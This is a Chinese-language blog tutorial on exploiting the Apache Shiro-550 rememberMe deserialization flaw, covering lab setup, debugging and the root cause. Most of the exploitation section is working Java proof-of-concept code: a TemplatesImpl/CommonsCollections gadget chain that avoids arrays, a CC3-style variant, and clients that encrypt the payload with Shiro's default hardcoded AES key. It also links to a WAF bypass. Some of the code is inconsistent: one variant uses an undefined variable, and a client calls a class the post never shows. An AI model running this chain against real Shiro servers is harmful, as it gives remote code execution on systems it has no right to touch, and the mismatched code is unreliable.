利用TemplatesImpl攻击shiro-Shiro550

Shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

Shiro-550

漏洞原理

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意rememberMe Cookie,进而触发反序列化漏洞。

环境配置

这里使用的时P牛简化的一个shrio1.2.4的登陆应用

- shiro-core、shiro-web是shiro本身的依赖
- javax.servlet-api、jsp-api是Servlet和JSP的依赖,仅在编译阶段使用,因为tomcat中自带这两个依赖
- slf4j-api、slf4j-simple是为了显示shiro中的报错信息
- commons-logging:是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
- commons-collections:是为了演示反序列化漏洞,增加了这个依赖

使用IDEA打开项目,用Maven进行打包

image-20221013163442577

将打包生成的war文件放置于apache-tomcat\webapps目录下

image-20221013163707062

添加配置Tomcat服务器

image-20221013165103772

添加远程JVM调试

修改bin/catalina.bat文件
set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005

image-20221013165132756

然后两个都直接运行,即可开始断点调试

image-20221013165452060

image-20221013165511653

漏洞分析

我们来看 AbstractRememberMeManager#getRememberedPrincipals 方法,参数是用户的身份Context信息

image-20221013172012904

该方法调用了getRememberedSerializedIdentity和 convertBytesToPrincipals 方法。

其中CookieRememberMeManager 的getRememberedSerializedIdentity()是获取 Cookie并Base64 解码,然后返回字节数组

image-20221013173215218

随后convertBytesToPrincipals将对解码后的字节数组进行decryp() 和 deserialize()处理。

image-20221013172149747

decrypt方法是使用 AesCipherService进行解密

image-20221013172601462

而deserialize调用deserialize()方法反序列化解密后的数据。

image-20221013172832065

如果我们有了加密密钥,生成一个恶意的反序列化payload,使用Shiro默认Key进行加密,在将密文作为rememberMe的Cookie发送给服务端,就可以进行攻击了

而密钥储存于AbstractRememberMeManager类中

image-20221013173636887

漏洞利用

并编写一个程序用来加密payload

package com.govuln.shiroattack;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

将生成的base64字符串作为remember的值,发送后Tomcat报错

image-20221013174746138

找到异常信息的倒数第一行,也就是这个类:
org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个
ObjectInputStream的子类,其重写了 resolveClass 方法:

image-20221013174927930

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:

image-20221013175038482

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了
org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原生的 Class.forName 。经过调试发现出异常时加载的类名为[Lorg.apache.commons.collections.Transformer,也就是Transformer 的数组

也就是说,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误

构造不含数组的反序列化Gadget

回忆一下CC6,我们是由hashmap调用至tiedMapEntry的hashcode方法,然后调用tiedMapEntry的getValue方法,进而调用至LazyMap的get方法

image-20221013180245651

image-20221013175742848

我们可以发现这个key是可控的,而控制它的是

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

那根据我们之前学习的CC3,这就简单起来了,只要把key设置为TemplatesImpl对象,在直接使用InvokerTransformer直接调用其newTransformer方法,直接避免使用数组而构造出完整的利用链

即完整的poc:

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

加密代码:

package com.govuln.shiroattack;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client1 {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

成功触发利用链

image-20221013180937449

而结合CC3,同样可以绕过InvokerTransformer

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer faketransformer = new ConstantTransformer(1);
        Transformer transformer = new InstantiateTransformer(new Class[] {Templates.class}, new Object[] {templates});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, faketransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(outerMap,"factory",transformer);

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

bypasswaf:

https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ

参考链接

java安全漫谈-phith0n

https://xz.aliyun.com/t/11633

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇